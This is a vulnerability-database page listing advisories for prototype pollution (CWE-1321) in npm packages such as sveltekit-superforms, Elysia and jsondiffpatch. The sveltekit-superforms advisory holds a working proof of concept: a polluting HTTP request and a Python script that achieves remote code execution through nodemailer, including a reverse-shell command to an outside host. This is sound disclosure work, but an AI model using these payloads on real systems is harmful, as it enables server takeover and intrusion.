Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

783 vulnerabilities reference this CWE, most recent first.

GHSA-HWMC-4C8J-XXJ7

Vulnerability from github – Published: 2025-10-15 19:43 – Updated: 2025-10-15 19:43
VLAI
Summary
`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`
Details

Summary

sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.

Details

Superforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the superValidate function, with the submitted form data and a form schema as arguments:

// https://superforms.rocks/get-started#posting-data
const form = await superValidate(request, your_adapter(schema));
 ```
 Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user's input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed:
```js
// src/lib/formData.ts
if (formData.has('__superform_json')) {
    try {
        const transport =
            options && options.transport
                ? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode]))
                : undefined;

        const output = parse(formData.getAll('__superform_json').join('') ?? '', transport);
        if (typeof output === 'object') {
            // Restore uploaded files and add to data
            const filePaths = Array.from(formData.keys());

            for (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {
                const realPath = splitPath(path.substring(17));
                setPaths(output, [realPath], formData.get(path));
            }

            for (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {
                const realPath = splitPath(path.substring(18));
                const allFiles = formData.getAll(path);

                setPaths(output, [realPath], Array.from(allFiles));
            }

            return output as Record<string, unknown>;
        }
    } catch {
        //
    }
 }

This snippet deserializes JSON input within the __superform_json, and then performs a nested assignment into the deserialized object using values from form parameters beginning with __superform_file_ and __superform_files_. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute Object.prototype.toString, which leads to a persistent denial of service in many applications:

POST /signup HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://example.com/signup
content-type: application/x-www-form-urlencoded
x-sveltekit-action: true
Content-Length: 70
Origin: http://example.com
Connection: keep-alive
Priority: u=0
Pragma: no-cache
Cache-Control: no-cache

__superform_json=[{}]&__superform_files___proto__.toString='corrupted'

PoC

The following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular nodemailer library (5 million weekly downloads from npm).

routes/signup/schema.ts:

import { z } from "zod/v4";

export const schema = z.object({
    email: z
        .email({
            error: "Please enter a valid email address.",
        })
        .min(1, {
            error: "Email address is required.",
        }),
    password: z.string().min(8, {
        error: "Password must be at least 8 characters long.",
    }),
});

routes/signup/+page.server.ts:

import { zod4 } from "sveltekit-superforms/adapters";
import { fail, setError, superValidate } from "sveltekit-superforms";
import { schema } from "./schema";
import nodemailer from "nodemailer";
import {
    MAIL_USER,
    MAIL_CLIENT_ID,
    MAIL_CLIENT_SECRET,
    MAIL_REFRESH_TOKEN,
} from "$env/static/private";

export const actions = {
    default: async ({ request }) => {
        const form = await superValidate(request, zod4(schema));

        if (!form.valid) {
            return fail(400, { form });
        }

        // <insert other signup code here: DB ops, logging etc..>

        nodemailer
            .createTransport({
                service: "gmail",
                auth: {
                    type: "OAuth2",
                    user: MAIL_USER,
                    clientId: MAIL_CLIENT_ID,
                    clientSecret: MAIL_CLIENT_SECRET,
                    refreshToken: MAIL_REFRESH_TOKEN,
                },
            })
            .sendMail({
                to: form.data.email,
                subject: "Welcome to $app!",
                html: "<p> Welcome to $app. We hope you enjoy your stay.</p>",
                text: "Welcome to $app. We hope you enjoy your stay.",
            });
    },
};

The following Python script then pollutes the base object prototype in order to achieve RCE.

#!/usr/bin/env python3

import requests

RHOST = "http://localhost:4173"
session = requests.Session()

r = session.post(
    f"{RHOST}/signup",
    data={
        "__superform_json": "[{}]",
        "__superform_file___proto__.sendmail": "1",
        "__superform_file___proto__.path": "/bin/bash",
        "__superform_files___proto__.args": [
            "-c",
            "bash -i >& /dev/tcp/dread.mantel.group/443 0>&1",
            "--",
        ],
    },
    headers={"Origin": RHOST},
)

r = session.post(
    f"{RHOST}/signup",
    data={"email": "me@example.com", "password": "usersignuppassword"},
    headers={"Origin": RHOST},
)

image

In addition to nodemailer, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other popular libraries and runtimes, which can be used together with this vulnerability.

Impact

Attackers can inject string and array properties into Object.prototype. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.27.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sveltekit-superforms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.27.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62381"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-15T19:43:09Z",
    "nvd_published_at": "2025-10-15T18:15:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`sveltekit-superforms` v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the `parseFormData` function of `formData.js`. An attacker can inject string and array properties into `Object.prototype`, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.\n\n### Details\nSuperforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the `superValidate` function, with the submitted form data and a form schema as arguments:\n```js\n// https://superforms.rocks/get-started#posting-data\nconst form = await superValidate(request, your_adapter(schema));\n ```\n Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user\u0027s input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed:\n```js\n// src/lib/formData.ts\nif (formData.has(\u0027__superform_json\u0027)) {\n\ttry {\n\t\tconst transport =\n\t\t\toptions \u0026\u0026 options.transport\n\t\t\t\t? Object.fromEntries(Object.entries(options.transport).map(([k, v]) =\u003e [k, v.decode]))\n\t\t\t\t: undefined;\n\n\t\tconst output = parse(formData.getAll(\u0027__superform_json\u0027).join(\u0027\u0027) ?? \u0027\u0027, transport);\n\t\tif (typeof output === \u0027object\u0027) {\n\t\t\t// Restore uploaded files and add to data\n\t\t\tconst filePaths = Array.from(formData.keys());\n\n\t\t\tfor (const path of filePaths.filter((path) =\u003e path.startsWith(\u0027__superform_file_\u0027))) {\n\t\t\t\tconst realPath = splitPath(path.substring(17));\n\t\t\t\tsetPaths(output, [realPath], formData.get(path));\n\t\t\t}\n\n\t\t\tfor (const path of filePaths.filter((path) =\u003e path.startsWith(\u0027__superform_files_\u0027))) {\n\t\t\t\tconst realPath = splitPath(path.substring(18));\n\t\t\t\tconst allFiles = formData.getAll(path);\n\n\t\t\t\tsetPaths(output, [realPath], Array.from(allFiles));\n\t\t\t}\n\n\t\t\treturn output as Record\u003cstring, unknown\u003e;\n\t\t}\n\t} catch {\n\t\t//\n\t}\n }\n```\nThis snippet deserializes JSON input within the `__superform_json`, and then performs a nested assignment into the deserialized object using values from form parameters beginning with `__superform_file_` and `__superform_files_`. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute `Object.prototype.toString`, which leads to a persistent denial of service in many applications:\n```\nPOST /signup HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://example.com/signup\ncontent-type: application/x-www-form-urlencoded\nx-sveltekit-action: true\nContent-Length: 70\nOrigin: http://example.com\nConnection: keep-alive\nPriority: u=0\nPragma: no-cache\nCache-Control: no-cache\n\n__superform_json=[{}]\u0026__superform_files___proto__.toString=\u0027corrupted\u0027\n```\n### PoC\nThe following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular `nodemailer` library (5 million weekly downloads from npm).\n\n`routes/signup/schema.ts`:\n```js\nimport { z } from \"zod/v4\";\n\nexport const schema = z.object({\n    email: z\n        .email({\n            error: \"Please enter a valid email address.\",\n        })\n        .min(1, {\n            error: \"Email address is required.\",\n        }),\n    password: z.string().min(8, {\n        error: \"Password must be at least 8 characters long.\",\n    }),\n});\n```\n`routes/signup/+page.server.ts`:\n```js\nimport { zod4 } from \"sveltekit-superforms/adapters\";\nimport { fail, setError, superValidate } from \"sveltekit-superforms\";\nimport { schema } from \"./schema\";\nimport nodemailer from \"nodemailer\";\nimport {\n    MAIL_USER,\n    MAIL_CLIENT_ID,\n    MAIL_CLIENT_SECRET,\n    MAIL_REFRESH_TOKEN,\n} from \"$env/static/private\";\n\nexport const actions = {\n    default: async ({ request }) =\u003e {\n        const form = await superValidate(request, zod4(schema));\n\n        if (!form.valid) {\n            return fail(400, { form });\n        }\n\n        // \u003cinsert other signup code here: DB ops, logging etc..\u003e\n\n        nodemailer\n            .createTransport({\n                service: \"gmail\",\n                auth: {\n                    type: \"OAuth2\",\n                    user: MAIL_USER,\n                    clientId: MAIL_CLIENT_ID,\n                    clientSecret: MAIL_CLIENT_SECRET,\n                    refreshToken: MAIL_REFRESH_TOKEN,\n                },\n            })\n            .sendMail({\n                to: form.data.email,\n                subject: \"Welcome to $app!\",\n                html: \"\u003cp\u003e Welcome to $app. We hope you enjoy your stay.\u003c/p\u003e\",\n                text: \"Welcome to $app. We hope you enjoy your stay.\",\n            });\n    },\n};\n```\n\nThe following Python script then pollutes the base object prototype in order to achieve RCE.\n```python\n#!/usr/bin/env python3\n\nimport requests\n\nRHOST = \"http://localhost:4173\"\nsession = requests.Session()\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\n        \"__superform_json\": \"[{}]\",\n        \"__superform_file___proto__.sendmail\": \"1\",\n        \"__superform_file___proto__.path\": \"/bin/bash\",\n        \"__superform_files___proto__.args\": [\n            \"-c\",\n            \"bash -i \u003e\u0026 /dev/tcp/dread.mantel.group/443 0\u003e\u00261\",\n            \"--\",\n        ],\n    },\n    headers={\"Origin\": RHOST},\n)\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\"email\": \"me@example.com\", \"password\": \"usersignuppassword\"},\n    headers={\"Origin\": RHOST},\n)\n```\n\u003cimg width=\"747\" height=\"173\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7b097187-7110-409a-915d-94782c15f597\" /\u003e\n\nIn addition to `nodemailer`, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other [popular libraries and runtimes](https://github.com/KTH-LangSec/server-side-prototype-pollution), which can be used together with this vulnerability.\n\n### Impact\nAttackers can inject string and array properties into `Object.prototype`. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.",
  "id": "GHSA-hwmc-4c8j-xxj7",
  "modified": "2025-10-15T19:43:09Z",
  "published": "2025-10-15T19:43:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62381"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ciscoheat/sveltekit-superforms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`"
}

GHSA-HWPV-W8H7-V7QM

Vulnerability from github – Published: 2026-05-20 18:31 – Updated: 2026-05-20 18:31
VLAI
Details

Prototype pollution in csv parsing logic during import can lead to untrusted file paths (but not arguments) entering shell.openExternal after specific user behavior leading to "1-click" command execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-9101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T17:16:32Z",
    "severity": "MODERATE"
  },
  "details": "Prototype pollution in csv parsing logic during import can lead to untrusted file paths (but not arguments) entering shell.openExternal after specific user behavior leading to \"1-click\" command execution.",
  "id": "GHSA-hwpv-w8h7-v7qm",
  "modified": "2026-05-20T18:31:36Z",
  "published": "2026-05-20T18:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9101"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/COMPASS-10657"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HX7J-43W2-7RJ7

Vulnerability from github – Published: 2021-06-07 22:12 – Updated: 2021-10-05 17:22
VLAI
Summary
Prototype pollution in nconf-toml
Details

Prototype pollution vulnerability in nconf-toml versions 0.0.1 through 0.0.2 allows an attacker to cause a denial of service and may lead to remote code execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nconf-toml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.1"
            },
            {
              "last_affected": "0.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-25946"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-28T21:58:39Z",
    "nvd_published_at": "2021-05-25T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution vulnerability in `nconf-toml` versions 0.0.1 through 0.0.2 allows an attacker to cause a denial of service and may lead to remote code execution.",
  "id": "GHSA-hx7j-43w2-7rj7",
  "modified": "2021-10-05T17:22:38Z",
  "published": "2021-06-07T22:12:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25946"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/RobLoach/nconf-toml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RobLoach/nconf-toml/blob/8ade08cd1cfb9691ab7cc5c3514cc05c5085918f/index.js#L8"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25946"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in nconf-toml"
}

GHSA-HXCM-V35H-MG2X

Vulnerability from github – Published: 2019-06-07 21:12 – Updated: 2023-11-29 22:16
VLAI
Summary
Prototype Pollution in querystringify
Details

A vulnerability was found in querystringify before 2.0.0. It's possible to override built-in properties of the resulting query string object if a malicious string is inserted in the query string.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "querystringify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-07T21:11:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A vulnerability was found in querystringify before 2.0.0. It\u0027s possible to override built-in properties of the resulting query string object if a malicious string is inserted in the query string.",
  "id": "GHSA-hxcm-v35h-mg2x",
  "modified": "2023-11-29T22:16:43Z",
  "published": "2019-06-07T21:12:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unshiftio/querystringify/pull/19"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unshiftio/querystringify/commit/422eb4f6c7c28ee5f100dcc64177d3b68bb2b080"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Prototype Pollution in querystringify"
}

GHSA-HXJ9-33PP-J2CC

Vulnerability from github – Published: 2025-12-09 17:11 – Updated: 2025-12-09 21:37
VLAI
Summary
Elysia vulnerable to prototype pollution with multiple standalone schema validation
Details

Prototype pollution vulnerability in mergeDeep after merging results of two standard schema validations with the same key. Due to the ordering of merging, there must be an any type that is set as a standalone guard, to allow for the __proto__ prop to be merged.

When combined with GHSA-8vch-m3f4-q8jf this allows for a full RCE by an attacker.

Impact

Routes with more than 2 standalone schema validation, eg. zod

Example vulnerable code:

import { Elysia } from "elysia"
import * as z from "zod"

const app = new Elysia()
    .guard({
        schema: "standalone",
        body: z.object({
            data: z.any()
        })
    })
    .post("/", ({ body }) => ({ body, win: {}.foo }), {
        body: z.object({
            data: z.object({
                messageId: z.string("pollute-me"),
            })
        })
    })

Patches

Patched by 1.4.17 (https://github.com/elysiajs/elysia/pull/1564)

Reference commit: - https://github.com/elysiajs/elysia/pull/1564/commits/26935bf76ebc43b4a43d48b173fc853de43bb51e - https://github.com/elysiajs/elysia/pull/1564/commits/3af978663e437dccc6c1a2a3aff4b74e1574849e

Workarounds

Remove __proto__ key from body

Example plugin for removing __proto__ from body

new Elysia()
    .onTransform(({ body, headers }) => {
        if (headers['content-type'] === 'application/json')
            return JSON.parse(JSON.stringify(body), (k, v) => {
                if (k === '__proto__') return

                return v
            })
    })
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "elysia"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.4.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66456"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-09T17:11:53Z",
    "nvd_published_at": "2025-12-09T20:15:54Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution vulnerability in `mergeDeep` after merging results of two standard schema validations with the same key. Due to the ordering of merging, there must be an `any` type that is set as a `standalone` guard, to allow for the `__proto__` prop to be merged.\n\nWhen combined with GHSA-8vch-m3f4-q8jf this allows for a full RCE by an attacker.\n\n### Impact\nRoutes with more than 2 standalone schema validation, eg. zod\n\nExample vulnerable code:\n```typescript\nimport { Elysia } from \"elysia\"\nimport * as z from \"zod\"\n\nconst app = new Elysia()\n\t.guard({\n\t\tschema: \"standalone\",\n\t\tbody: z.object({\n\t\t\tdata: z.any()\n\t\t})\n\t})\n\t.post(\"/\", ({ body }) =\u003e ({ body, win: {}.foo }), {\n\t\tbody: z.object({\n\t\t\tdata: z.object({\n\t\t\t\tmessageId: z.string(\"pollute-me\"),\n\t\t\t})\n\t\t})\n\t})\n```\n\n### Patches\nPatched by 1.4.17 (https://github.com/elysiajs/elysia/pull/1564)\n\nReference commit:\n- https://github.com/elysiajs/elysia/pull/1564/commits/26935bf76ebc43b4a43d48b173fc853de43bb51e\n- https://github.com/elysiajs/elysia/pull/1564/commits/3af978663e437dccc6c1a2a3aff4b74e1574849e\n\n### Workarounds\nRemove `__proto__` key from body\n\nExample plugin for removing `__proto__` from body\n\n```typescript\nnew Elysia()\n\t.onTransform(({ body, headers }) =\u003e {\n\t\tif (headers[\u0027content-type\u0027] === \u0027application/json\u0027)\n\t\t\treturn JSON.parse(JSON.stringify(body), (k, v) =\u003e {\n\t\t\t\tif (k === \u0027__proto__\u0027) return\n\n\t\t\t\treturn v\n\t\t\t})\n\t})\n```",
  "id": "GHSA-hxj9-33pp-j2cc",
  "modified": "2025-12-09T21:37:06Z",
  "published": "2025-12-09T17:11:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/elysiajs/elysia/security/advisories/GHSA-8vch-m3f4-q8jf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elysiajs/elysia/security/advisories/GHSA-hxj9-33pp-j2cc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66456"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elysiajs/elysia/pull/1564"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elysiajs/elysia/commit/26935bf76ebc43b4a43d48b173fc853de43bb51e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elysiajs/elysia/commit/3af978663e437dccc6c1a2a3aff4b74e1574849e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/elysiajs/elysia"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sportshead/elysia-poc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Elysia vulnerable to prototype pollution with multiple standalone schema validation"
}

GHSA-J28Q-P8WW-CP87

Vulnerability from github – Published: 2021-12-16 14:33 – Updated: 2021-12-15 15:23
VLAI
Summary
Prototype Pollution in merge-deep2.
Details

All versions of package merge-deep2 are vulnerable to Prototype Pollution via the mergeDeep() function.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "merge-deep2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23700"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-12-14T14:33:34Z",
    "nvd_published_at": "2021-12-10T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "All versions of package merge-deep2 are vulnerable to Prototype Pollution via the mergeDeep() function.",
  "id": "GHSA-j28q-p8ww-cp87",
  "modified": "2021-12-15T15:23:03Z",
  "published": "2021-12-16T14:33:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23700"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/luyuan/merge-deep"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-MERGEDEEP2-1727593"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in merge-deep2."
}

GHSA-J32X-J8PJ-PG2H

Vulnerability from github – Published: 2021-04-13 15:20 – Updated: 2021-03-22 22:36
VLAI
Summary
Prototype Pollution in decal
Details

This affects all versions of package decal. The vulnerability is in the extend function.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "decal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-400",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-22T22:36:42Z",
    "nvd_published_at": "2021-02-04T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects all versions of package decal. The vulnerability is in the extend function.",
  "id": "GHSA-j32x-j8pj-pg2h",
  "modified": "2021-03-22T22:36:42Z",
  "published": "2021-04-13T15:20:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28450"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gigafied/decal.js/blob/master/src/utils/extend.js#L23-L56"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-DECAL-1051028"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/decal"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in decal"
}

GHSA-J452-XHG8-QG39

Vulnerability from github – Published: 2026-04-15 18:31 – Updated: 2026-04-16 21:33
VLAI
Summary
Mafintosh's protocol-buffers-schema is vulnerable to prototype pollution
Details

JavaScript is vulnerable to prototype pollution in Mafintosh's protocol-buffers-schema Version 3.6.0, where an attacker may alter the application logic, bypass security checks, cause a DoS or achieve remote code execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "protocol-buffers-schema"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-5758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:33:53Z",
    "nvd_published_at": "2026-04-15T18:17:24Z",
    "severity": "MODERATE"
  },
  "details": "JavaScript is vulnerable to prototype pollution in Mafintosh\u0027s protocol-buffers-schema Version 3.6.0, where an attacker may alter the application logic, bypass security checks, cause a DoS or achieve remote code execution.",
  "id": "GHSA-j452-xhg8-qg39",
  "modified": "2026-04-16T21:33:53Z",
  "published": "2026-04-15T18:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5758"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mafintosh/protocol-buffers-schema/pull/70"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mafintosh/protocol-buffers-schema"
    },
    {
      "type": "WEB",
      "url": "https://morielharush.github.io/2026/04/12/cve-2026-5758-protocol-buffers-schema-prototype-pollution"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mafintosh\u0027s protocol-buffers-schema is vulnerable to prototype pollution"
}

GHSA-J4FX-XXWH-2485

Vulnerability from github – Published: 2026-05-16 06:30 – Updated: 2026-05-16 06:30
VLAI
Details

Versions of the package jsondiffpatch before 0.7.6 are vulnerable to Prototype Pollution via the jsondiffpatch.patch() and jsondiffpatch/formatters/jsonpatch.patch() APIs. An attacker can perform prototype pollution by supplying crafted delta or JSON Patch documents, as attacker-controlled property names and path segments are used to traverse and modify objects without restricting access to special properties like proto or constructor.prototype, allowing modification of Object.prototype.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-8657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-16T06:16:18Z",
    "severity": "HIGH"
  },
  "details": "Versions of the package jsondiffpatch before 0.7.6 are vulnerable to Prototype Pollution via the jsondiffpatch.patch() and jsondiffpatch/formatters/jsonpatch.patch() APIs. An attacker can perform prototype pollution by supplying crafted delta or JSON Patch documents, as attacker-controlled property names and path segments are used to traverse and modify objects without restricting access to special properties like __proto__ or constructor.prototype, allowing modification of Object.prototype.",
  "id": "GHSA-j4fx-xxwh-2485",
  "modified": "2026-05-16T06:30:29Z",
  "published": "2026-05-16T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8657"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benjamine/jsondiffpatch/commit/381c0125efab49f6f0dbc08317d01d55717672af"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/yuki-matsuhashi/e570fb1579ae1f3190059b622b0473fb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/filters/nested.ts%23L107-L115"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/filters/nested.ts%23L82-L87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/formatters/jsonpatch-apply.ts%23L146-L168"
    },
    {
      "type": "WEB",
